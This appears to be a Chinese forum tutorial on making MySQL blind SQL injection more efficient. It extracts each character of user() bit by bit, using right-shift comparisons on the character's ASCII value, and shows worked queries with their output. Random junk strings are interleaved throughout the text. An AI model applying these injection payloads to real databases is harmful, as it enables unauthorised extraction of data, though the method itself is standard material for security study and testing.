关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


6 r. ?+ t- O1 Z* v
: m' {' M. u$ a( B% J% e下面将以查询mysql数据库当中user()的第一位为例:
0 i- b* O! j/ X

9 B3 B7 @2 F2 D$ z* ?
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
, ^! ^4 e% F  J9 x
% D$ V, A+ J5 W2 t

首先执行如下sql语句:

9 I/ r4 o) G1 M0 _4 U
. Q+ O% U" l1 ~- n
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
6 p1 x' q  o2 n% z+ }

  t/ D' D8 B) x+ I
) Z$ R4 }( @# K% `4 j( {8 C6 y! v我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

4 m) k2 e8 B) P; w
6 k1 ?* v0 \  D- G
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
/ t. B; h4 z( G9 F0 I  H
8 F- v; `5 m5 p6 ~
. G$ I) }( J# d
如果运算结果为1,说明第一位为0,不为1

+ H+ H. L' q6 i9 ]0 w: c
2 M6 N3 S5 C; \
+————————————–+
  n/ M7 U7 G1 P% F* V: @
| (ascii((substr(user(),1,1))) >> 7)=0 |
% O+ Z$ Y2 {0 N" a) e! D
  w, S7 Z2 r2 Y+————————————–+
4 H8 [+ N- P. d( M( J: ?
1 U5 s/ v" o* `/ X# x+ N| 1 |

% L0 Z9 m" a/ O+ ~, s+————————————–+
5 x! `, s% q2 i" p- I
$ m0 R$ r$ E# @) ?9 }$ O1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
! s' H* M8 E% B, U9 H; A

. G& @! I5 Z5 o  ]# U$ o
第二次我们来做6次右偏移来确定前两位

- M) `  v6 o) p* k6 _. s/ ?3 |
; t- ~8 _4 T) {. l" j
前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
0 h6 Q4 x! v8 H( j+ k) Z
| (ascii((substr(user(),1,1))) >> 6)=0 |

' Q, x% P2 @  K+————————————–+

7 K- A/ U2 @, G2 `| 0 |
9 f6 K3 i0 L! G4 J
+————————————–+
' g. ]# X/ W4 @
3 Q4 {8 E4 k' P) [9 d" @! G, r. ]1 row in set (0.00 sec)

! s4 I! h: D, ]. L

结果为0,即第二位为1
- |9 s8 ?- \! t" O5 m  ]& M( j
6 Y  v% i& M* [' `! i
6 m" T  n* b7 N3 ?% h) j7 [
开始猜测前三位为010或011



0 y  n2 L- ~9 F/ X$ L让我们看看010和011的ascii码是多少


7 m* v: Y$ Z" [+ G
+ `- }+ l& J5 @* P分别查询select b’011′ select b’010′

' d! _4 c7 C! N) V5 g) t2 a

获得结果 010 = 2 011 = 3


1 _' s& W. V5 s* T8 F5 J( n
$ e) L5 p2 t; Y  l执行如下sql:

6 Q. ^' D) w6 }3 L- ?9 ^1 u0 A3 v

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

# y0 x9 V  Q! [! N% n+————————————–+
$ k0 Q# m  a3 g) F: O1 D+ B- W
| (ascii((substr(user(),1,1))) >> 5)=2 |
( Q. I! T3 q" C9 \+ o8 c
+————————————–+
" K: Y+ w9 S, l+ t5 p9 K! g
6 v2 _$ M! k1 n% l# F2 j3 i9 w3 n| 0 |
* p( e+ \. @. n, q
+————————————–+
- ^7 Z% P: f7 M, n% K8 |
' m# D% ]' `) u0 J. F6 Z4 J, s即前三位不为010,而是011

, a; s% O. n& f9 U

直到获得最后一位

: R" e! l) _7 S. S5 `  r% n
% [; |& F# v' b
: k0 Y6 C* Y- B5 M2 J% _+ t最终结果为:01110010
/ z6 `; z: v7 o  }- l3 i, ]

4 |& W, k  g' x, y' e
转换一下:



! o# w0 R  d' {select b’01110010′
6 h+ [7 B7 n3 I+ F
; v4 x/ N2 r2 F6 n4 I6 ]

3 R' X  D# _0 h4 S9 ^查询结果


4 w- M3 b" S+ W- b. M2 m, g
9 u. r% s6 [# K8 x+————-+

: \# ~6 c4 D$ M( ^3 M* ~8 V| b’01110010′ |

+ _8 Y8 @" G9 g2 O+————-+

| r |

+————-+
. G; m9 d& D. B# i
6 E1 ?" v: R2 C7 H8 c6 w! }+ o( `1 row in set (0.00 sec)
+ a4 x/ @1 a: [+ E; c* a6 Z


9 X: |7 L; J* C/ o$ k这样我们就获得了user()的第一位.其它位依此类推
- P3 z2 L" R+ ^3 m1 [